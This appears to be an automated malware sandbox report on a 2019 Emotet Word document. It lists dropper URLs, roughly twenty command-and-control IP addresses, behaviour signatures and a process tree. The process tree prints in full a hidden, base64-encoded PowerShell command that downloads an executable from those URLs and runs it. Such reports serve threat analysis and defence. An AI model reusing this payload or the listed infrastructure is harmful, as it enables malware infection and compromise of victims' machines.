Analysis

  • max time kernel
    130s
  • resource
    win10v191014
  • submitted
    07-12-2019 19:59

General

  • Target

    Docs_c3d6e9cced9f71d25309a2240eb8b182.6.doc

  • Sample

    191207-8z3jze9e3a

  • SHA256

    819273b637aa3d7db7f8e436d37513443d2eb96b7d449bf11cdd3f1fc221d2b6

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://newtrendmall.store/01-install/bFNiWnVVI/

exe.dropper

http://scammerreviews.com/wp-admin/DSscXHm/

exe.dropper

http://namisaffron.com/v59rni/ZTuaJanco/

exe.dropper

https://www.oodda.com/wp-admin/de4p2ec3-wj4mghjou-15889/

exe.dropper

https://maxbill.devpace.net/Blog/vl01s-3buqcj-0980773041/

Extracted

Family

emotet

C2

172.90.70.168:443

72.69.99.47:80

24.28.178.71:80

172.105.213.30:80

69.30.205.162:7080

50.63.13.135:8080

192.161.190.171:8080

119.159.150.176:443

98.15.140.226:80

190.189.79.73:80

181.44.166.242:80

198.57.217.170:8080

210.224.65.117:80

82.79.244.92:80

72.27.212.209:8080

212.129.14.27:8080

181.47.235.26:993

182.176.116.139:995

142.93.87.198:8080

190.101.87.170:80

rsa_pubkey.plain

Signatures

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Drops file in Windows directory 1 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Executes dropped EXE 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.6.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    PID:4936
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3664
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:3660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w hidden -en JABBAHMAYQB1AGMAbgBhAHEAZQB6AGgAPQAnAEkAcgB3AHkAeABsAHcAdwBtAGMAaAAnADsAJABGAHAAZwB4AGcAbgBwAHQAIAA9ACAAJwAxADEAJwA7ACQAVgBhAHQAbQB6AHEAZABnAG4AagBzAD0AJwBRAG0AZwB1AHUAbABjAHkAZwBqAG8AcwBoACcAOwAkAFUAaABnAGoAbQBiAGoAcQBjAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAcABnAHgAZwBuAHAAdAArACcALgBlAHgAZQAnADsAJABPAHAAdAB0AHcAeQBmAHEAbABuAGgAZAA9ACcARABuAGcAeQBwAGcAagBnACcAOwAkAFAAeQBwAGsAegB4AGoAdAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMAbABpAEUAbgBUADsAJABCAGQAaABwAHgAZwBsAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgBlAHcAdAByAGUAbgBkAG0AYQBsAGwALgBzAHQAbwByAGUALwAwADEALQBpAG4AcwB0AGEAbABsAC8AYgBGAE4AaQBXAG4AVgBWAEkALwAqAGgAdAB0AHAAOgAvAC8AcwBjAGEAbQBtAGUAcgByAGUAdgBpAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBEAFMAcwBjAFgASABtAC8AKgBoAHQAdABwADoALwAvAG4AYQBtAGkAcwBhAGYAZgByAG8AbgAuAGMAbwBtAC8AdgA1ADkAcgBuAGkALwBaAFQAdQBhAEoAYQBuAGMAbwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbwBvAGQAZABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkAGUANABwADIAZQBjADMALQB3AGoANABtAGcAaABqAG8AdQAtADEANQA4ADgAOQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB4AGIAaQBsAGwALgBkAGUAdgBwAGEAYwBlAC4AbgBlAHQALwBCAGwAbwBnAC8AdgBsADAAMQBzAC0AMwBiAHUAcQBjAGoALQAwADkAOAAwADcANwAzADAANAAxAC8AJwAuACIAUwBwAGAAbABpAFQAIgAoACcAKgAnACkAOwAkAE8AZABxAG8AcQBlAHUAcwB2AGkAPQAnAFEAeQBjAHgAbAB3AHUAZwBuAGgAcwB2AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAgAGkAbgAgACQAQgBkAGgAcAB4AGcAbAB5ACkAewB0AHIAeQB7ACQAUAB5AHAAawB6AHgAagB0AHcALgAiAEQAYABvAHcATgBsAG8AQQBkAGAARgBgAGkATABFACIAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAsACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkAOwAkAFQAcgBwAGwAaQBoAGcAZgB0AD0AJwBaAGgAdABwAGkAYgBrAGYAdwBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkALgAiAGwAZQBuAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQAMAA4ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBoAGcAagBtAGIAagBxAGMAbAApADsAJABMAGIAegBoAGsAdQBsAHUAdgBhAGEAPQAnAEkAcQBrAHQAaQBwAHUAdwBuAG4AeAB6AHIAJwA7AGIAcgBlAGEAawA7ACQAWgBhAHgAegB1AHkAeABmAGcAeABqAG0AZgA9ACcAUwBvAGMAZQBjAHAAbQBvAG4AYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG8AYgBpAHMAagBuAHUAdgBkAGIAPQAnAEwAbABkAHYAegBkAHAAcgBjAHUAagB3AG0AJwA=
      1⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:4752
      • C:\Users\Admin\11.exe
        "C:\Users\Admin\11.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        PID:4200
        • C:\Users\Admin\11.exe
          --47f9ceaa
          3⤵
          • Drops file in System32 directory
          • Suspicious use of SetWindowsHookEx
          • Suspicious behavior: EmotetMutantsSpam
          • Executes dropped EXE
          PID:2724
    • C:\Windows\SysWOW64\halstuck.exe
      "C:\Windows\SysWOW64\halstuck.exe"
      1⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4024
      • C:\Windows\SysWOW64\halstuck.exe
        --facf76db
        2⤵
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious behavior: EnumeratesProcesses
        • Executes dropped EXE
        PID:2676
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:3864
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:2360
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:2432
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
          1⤵
            PID:4896
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k unistacksvcgroup
            1⤵
              PID:3580

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\11.exe

            • C:\Users\Admin\11.exe

            • C:\Users\Admin\11.exe

            • C:\Windows\SysWOW64\halstuck.exe

            • C:\Windows\SysWOW64\halstuck.exe

            • memory/2676-18-0x00000000005A0000-0x00000000005B7000-memory.dmp

              Filesize

              92KB

            • memory/2676-19-0x0000000000400000-0x000000000044A000-memory.dmp

              Filesize

              296KB

            • memory/2724-13-0x00000000021C0000-0x00000000021D7000-memory.dmp

              Filesize

              92KB

            • memory/2724-14-0x0000000000400000-0x000000000044A000-memory.dmp

              Filesize

              296KB

            • memory/4024-16-0x0000000000DA0000-0x0000000000DB7000-memory.dmp

              Filesize

              92KB

            • memory/4200-11-0x0000000000620000-0x0000000000637000-memory.dmp

              Filesize

              92KB